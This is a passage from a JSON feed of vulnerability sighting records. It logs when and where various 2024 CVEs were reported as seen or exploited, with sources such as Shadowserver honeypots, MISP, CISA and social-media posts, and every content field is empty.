"2025-06-12T10:00:00.000000Z"}, {"uuid": "9fcbb2f4-b9f1-47e2-a551-34099a1f8215", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12243", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-162-05", "content": "", "creation_timestamp": "2025-06-12T10:00:00.000000Z"}, {"uuid": "892f329a-be1a-462c-892e-477288cbe745", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-22)", "content": "", "creation_timestamp": "2025-04-22T00:00:00.000000Z"}, {"uuid": "7ffcfa6f-af37-4d89-b187-f57eae7a9ea8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12987", "type": "seen", "source": "MISP/053ca026-a56e-47a6-9d17-dd5021a065a4", "content": "", "creation_timestamp": "2025-04-23T09:42:59.000000Z"}, {"uuid": "4a92f2cd-7c0f-4306-b2dc-906c6b359fd3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12905", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lnj3pgywua2c", "content": "", "creation_timestamp": "2025-04-23T21:02:24.223548Z"}, {"uuid": "9f9dca81-2240-4139-b0c9-fe0480dfa7eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12244", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lnkenu6u332g", "content": "", "creation_timestamp": "2025-04-24T09:15:12.524966Z"}, {"uuid": "e03e411a-5ca5-4f0a-aeb6-7d0c22af3d13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12827", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lsliqczg7m2a", "content": "", "creation_timestamp": "2025-06-27T11:06:47.871631Z"}, {"uuid": "24995f33-21ac-4092-bcdb-d144c90506ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-23)", "content": "", "creation_timestamp": "2025-04-23T00:00:00.000000Z"}, {"uuid": "5a7b0e47-a998-48a4-8ad2-3f4ea3ce953f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12345", "type": "seen", "source": "https://gist.github.com/ndouglas-cloudsmith/686c24676d9281ea13827f50230bb60b", "content": "", "creation_timestamp": "2025-06-17T11:41:04.000000Z"}, {"uuid": "254ef599-b957-4ace-8c4d-ed33757fab16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-24)", "content": "", "creation_timestamp": "2025-04-24T00:00:00.000000Z"}, {"uuid": "469c1dd9-c121-4b0e-af4f-8ebe4bef3c65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12987", "type": "seen", "source": "https://bsky.app/profile/cecallihelper.bsky.social/post/3lpevytnwg22y", "content": "", "creation_timestamp": "2025-05-17T16:00:05.520054Z"}, {"uuid": "b170de38-f024-420d-8e13-1043a1af1f6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1244", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lrcnthzptu2a", "content": "", "creation_timestamp": "2025-06-11T05:18:53.075688Z"}, {"uuid": "c3fe6d1b-0465-48c7-97b6-d4941006ea28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1243", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lrcplnttgq2q", "content": "", "creation_timestamp": "2025-06-11T05:50:18.205601Z"}, {"uuid": "04df9f7c-66a6-4ad9-aaed-5d5170fb5c88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12706", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lnvqh4moq42v", "content": "", "creation_timestamp": "2025-04-28T21:45:31.162397Z"}, {"uuid": "39ca6dcd-6234-4039-89bc-b226fb907300", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12273", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lnwsbuim6r2d", "content": "", "creation_timestamp": "2025-04-29T07:51:00.304790Z"}, {"uuid": "81236b66-7fe8-4460-a141-cfadf7837149", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12987", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-04-28)", "content": "", "creation_timestamp": "2025-04-28T00:00:00.000000Z"}, {"uuid": "1e510bb6-4092-47da-948b-a044f9fd1b27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12150", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lsmeubyswu2i", "content": "", "creation_timestamp": "2025-06-27T19:30:06.885508Z"}, {"uuid": "0da7496e-6902-4a1b-89e5-90881fd21560", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12143", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lsmf5b5apl2m", "content": "", "creation_timestamp": "2025-06-27T19:35:07.621729Z"}, {"uuid": "3c1ebe7f-0019-4d1c-b031-3f0968227218", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12828", "type": "seen", "source": "https://t.me/brutsecurity/1264", "content": "", "creation_timestamp": "2026-07-10T00:00:34.211549Z"}, {"uuid": "feac696e-8302-487b-b515-a187c400462b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12364", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lsmfp62vqt2u", "content": "", "creation_timestamp": "2025-06-27T19:45:08.066695Z"}, {"uuid": "96cc2502-1164-4407-bd0c-fa226ad09486", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-29)", "content": "", "creation_timestamp": "2025-04-29T00:00:00.000000Z"}, {"uuid": "fb319c2c-eade-4b78-ad6d-7a09eabaf1a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-30)", "content": "", "creation_timestamp": "2025-06-30T00:00:00.000000Z"}, {"uuid": "056f05b3-9815-451c-8f72-2dcb0c0b26be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-13)", "content": "", "creation_timestamp": "2025-07-13T00:00:00.000000Z"}, {"uuid": "d838a0b7-c574-42bd-89aa-c9f2ae576429", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12365", "type": "seen", "source": "https://t.me/brutsecurity/1306", "content": "", "creation_timestamp": "2026-07-10T00:00:33.925323Z"}, {"uuid": "5f20222e-6d26-4e16-87f4-1604d8fc463a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12718", "type": "seen", "source": "https://bsky.app/profile/nixpkgssecuritychanges.gerbet.me/post/3lr6pff6tct2b", "content": "", "creation_timestamp": "2025-06-09T15:36:09.048155Z"}, {"uuid": "7b855645-24bf-4125-af01-95baf2d09959", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-30)", "content": "", "creation_timestamp": "2025-04-30T00:00:00.000000Z"}, {"uuid": "e8ce3637-78c8-44e4-b248-0ba506a5ca90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-01)", "content": "", "creation_timestamp": "2025-05-01T00:00:00.000000Z"}, {"uuid": "79ba33ff-7d22-495a-a2d5-2edf8159d405", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12987", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-01)", "content": "", "creation_timestamp": "2025-05-01T00:00:00.000000Z"}, {"uuid": "0d2bd964-1750-4231-aee5-b8f5779fb12b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-01)", "content": "", "creation_timestamp": "2025-05-01T00:00:00.000000Z"}, {"uuid": "89d7357c-f69d-4ce5-aff6-1d612e2b40af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-02)", "content": "", "creation_timestamp": "2025-05-02T00:00:00.000000Z"}, {"uuid": "d69aef5d-8882-447a-819b-97054aac91b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-02)", "content": "", "creation_timestamp": "2025-05-02T00:00:00.000000Z"}, {"uuid": "6b11a539-7fce-4d34-a996-e5da67da9752", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12718", "type": "seen", "source": "https://gist.github.com/sethmlarson/52398e33eff261329a0180ac1d54f42f", "content": "", "creation_timestamp": "2025-06-03T13:20:14.000000Z"}, {"uuid": "b0c1119d-ef74-4bed-b7bd-66fafe41ceba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-03)", "content": "", "creation_timestamp": "2025-05-03T00:00:00.000000Z"}, {"uuid": "d7e63e63-a4c7-46b1-8a7c-5dcf068eca9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12718", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lqphcvqawfy2", "content": "", "creation_timestamp": "2025-06-03T14:03:10.739318Z"}, {"uuid": "c444723c-1822-45fe-a01a-02735b9ad6c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12987", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-04)", "content": "", "creation_timestamp": "2025-05-04T00:00:00.000000Z"}, {"uuid": "32aac317-79e9-4e31-881a-d208759f760c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-04)", "content": "", "creation_timestamp": "2025-05-04T00:00:00.000000Z"}, {"uuid": "b560ee55-89ef-4c17-8b0e-114cf26ce03f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-04)", "content": "", "creation_timestamp": "2025-05-04T00:00:00.000000Z"}, {"uuid": "7fa0ec4e-a8ad-4018-bdc4-bcfd363ab22e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12224", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lqe7grq375t2", "content": "", "creation_timestamp": "2025-05-30T02:41:30.695955Z"}, {"uuid": "b49a678d-28eb-494a-b516-55e056ea30c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-05)", "content": "", "creation_timestamp": "2025-05-05T00:00:00.000000Z"}, {"uuid": "f87503d8-d200-4b44-95b0-8cd697f738e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12225", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lojwinmu3w22", "content": "", "creation_timestamp": "2025-05-06T22:26:58.944470Z"}, {"uuid": "f8b5546e-8ad3-4781-a61e-5aa700c52d0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12120", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lokwih4arzl2", "content": "", "creation_timestamp": "2025-05-07T08:03:25.038236Z"}, {"uuid": "75c8f326-4456-4495-af91-9a52894e7763", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-06)", "content": "", "creation_timestamp": "2025-05-06T00:00:00.000000Z"}, {"uuid": "abb06746-ecf1-4f58-b23a-a14e6db69383", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://t.me/brutsecurity/1538", "content": "", "creation_timestamp": "2026-07-10T00:00:33.352513Z"}, {"uuid": "d641d628-76fa-4560-8644-8df00b099dbc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-06)", "content": "", "creation_timestamp": "2025-05-06T00:00:00.000000Z"}, {"uuid": "1631af5b-8c5e-471b-a6b2-444190734021", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "https://thehackernews.com/2025/07/rondodox-botnet-exploits-flaws-in-tbk.html", "content": "", "creation_timestamp": "2025-07-08T09:08:00.000000Z"}, {"uuid": "82645050-1c5b-44d2-9d22-61afd0da44ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12224", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lqeknad7p627", "content": "", "creation_timestamp": "2025-05-30T06:01:50.288079Z"}, {"uuid": "241aacef-f3a7-481d-923c-426f160e88b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12378", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114473917814422357", "content": "", "creation_timestamp": "2025-05-08T19:42:45.777311Z"}, {"uuid": "e23e1364-3005-46fd-9bfe-8c63ab5c26eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12378", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3looojrybeyy2", "content": "", "creation_timestamp": "2025-05-08T19:48:24.926984Z"}, {"uuid": "fccb8618-d748-4572-afa7-984e04698805", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12442", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3loqmlxvecis2", "content": "", "creation_timestamp": "2025-05-09T15:07:35.704146Z"}, {"uuid": "45cd8887-2105-4d17-a7be-06b0ad03416d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12718", "type": "seen", "source": "https://bsky.app/profile/securitylab-jp.bsky.social/post/3lr7ty5hzkk2w", "content": "", "creation_timestamp": "2025-06-10T02:30:57.719323Z"}, {"uuid": "b8ed0c5e-a31c-499f-b390-55a2282ccba9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-15)", "content": "", "creation_timestamp": "2025-06-15T00:00:00.000000Z"}, {"uuid": "cf137e1f-95f5-45ae-8488-217ed37a25de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12533", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lp2rlp3ficr2", "content": "", "creation_timestamp": "2025-05-13T15:31:06.059999Z"}, {"uuid": "0602694e-38b0-42ce-a16f-d07046ea6540", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114789871733423915", "content": "", "creation_timestamp": "2025-07-03T14:54:00.430360Z"}, {"uuid": "4226e82b-fc13-4835-bb38-f90048a50b8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12987", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lpujox2lqx24", "content": "", "creation_timestamp": "2025-05-23T21:02:25.629589Z"}, {"uuid": "a4ac5a6d-8c63-47ae-bbb3-9324767af423", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12243", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3lqzhfgxkqk27", "content": "", "creation_timestamp": "2025-06-07T13:29:44.449170Z"}, {"uuid": "8d3b1126-bab5-41ac-b10b-b500f07cd493", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12754", "type": "seen", "source": "https://bsky.app/profile/bolhasec.com/post/3lp5gby2zat2z", "content": "", "creation_timestamp": "2025-05-14T16:30:09.011662Z"}, {"uuid": "68d367e3-00c6-4598-8560-2cccb390055a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12366", "type": "seen", "source": "https://bsky.app/profile/bolhasec.com/post/3lpa24buegp2a", "content": "", "creation_timestamp": "2025-05-15T17:30:11.713272Z"}, {"uuid": "229cc163-6592-4f8d-91ba-2fd200492989", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12987", "type": "seen", "source": "https://bsky.app/profile/cyberalerts.bsky.social/post/3lpa2xf52vt2x", "content": "", "creation_timestamp": "2025-05-15T17:45:20.587863Z"}, {"uuid": "ddb61797-85f2-49a1-a56d-f6f73d865680", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12987", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/4016556", "content": "", "creation_timestamp": "2025-05-15T18:36:31.971483Z"}, {"uuid": "ab0520fb-e444-4ba0-9b6c-24f614e7013f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12987", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lpad65fwr222", "content": "", "creation_timestamp": "2025-05-15T20:12:19.029989Z"}, {"uuid": "022f761c-8910-494c-bbde-f7e218103282", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12987", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3lpagkmi5ci2b", "content": "", "creation_timestamp": "2025-05-15T21:12:57.431673Z"}, {"uuid": "49c51bda-4284-4e1b-a97d-30d614027703", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-27)", "content": "", "creation_timestamp": "2025-10-27T00:00:00.000000Z"}, {"uuid": "9c0b05cb-0752-419b-bae3-5b235261a8bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-19)", "content": "", "creation_timestamp": "2025-09-19T00:00:00.000000Z"}, {"uuid": "68c017ee-194f-487e-9be5-bd1f829d2d09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12381", "type": "seen", "source": "MISP/be792712-f638-4d7d-b62d-4f5032e86764", "content": "", "creation_timestamp": "2025-09-16T23:16:38.000000Z"}, {"uuid": "b7f0c8bb-1a23-4d01-bb3a-c27bc203ad55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-18)", "content": "", "creation_timestamp": "2025-10-18T00:00:00.000000Z"}, {"uuid": "3aad9217-a650-4a18-ba2d-ab67352058b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-01)", "content": "", "creation_timestamp": "2025-10-01T00:00:00.000000Z"}, {"uuid": "a1dda458-95cb-4885-9a40-a59e8240e216", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12294", "type": "seen", "source": "MISP/be792712-f638-4d7d-b62d-4f5032e86764", "content": "", "creation_timestamp": "2025-09-16T23:16:38.000000Z"}, {"uuid": "dd52f030-15cf-4fa9-9a0a-65acdab126cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12325", "type": "seen", "source": "MISP/be792712-f638-4d7d-b62d-4f5032e86764", "content": "", "creation_timestamp": "2025-09-16T23:16:38.000000Z"}, {"uuid": "ecca2ccd-be94-48d7-ba9f-d32522542ea8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12382", "type": "seen", "source": "MISP/be792712-f638-4d7d-b62d-4f5032e86764", "content": "", "creation_timestamp": "2025-09-16T23:16:38.000000Z"}, {"uuid": "b2b26b55-8a8a-4c05-ab3b-d2a4372d4f65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-21)", "content": "", "creation_timestamp": "2025-10-21T00:00:00.000000Z"}, {"uuid": "2ebcfcd4-c320-4d38-b5d3-bcb8491cb6e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "MISP/a9d21043-f825-4bac-8d2b-56fb9e8343e7", "content": "", "creation_timestamp": "2025-10-23T21:13:02.000000Z"}, {"uuid": "827d696c-27cc-43f0-b849-46c278011a01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "MISP/a9d21043-f825-4bac-8d2b-56fb9e8343e7", "content": "", "creation_timestamp": "2025-10-23T21:13:02.000000Z"}, {"uuid": "205c92f7-55c6-4afa-b45a-0297b6fe73bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "seen", "source": "MISP/a9d21043-f825-4bac-8d2b-56fb9e8343e7", "content": "", "creation_timestamp": "2025-10-23T21:13:02.000000Z"}, {"uuid": "72eb1277-1304-46d2-bc00-fb5d31b70c6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-25)", "content": "", "creation_timestamp": "2025-10-25T00:00:00.000000Z"}, {"uuid": "4413f280-3525-4c59-a139-c22a7c1b131f", 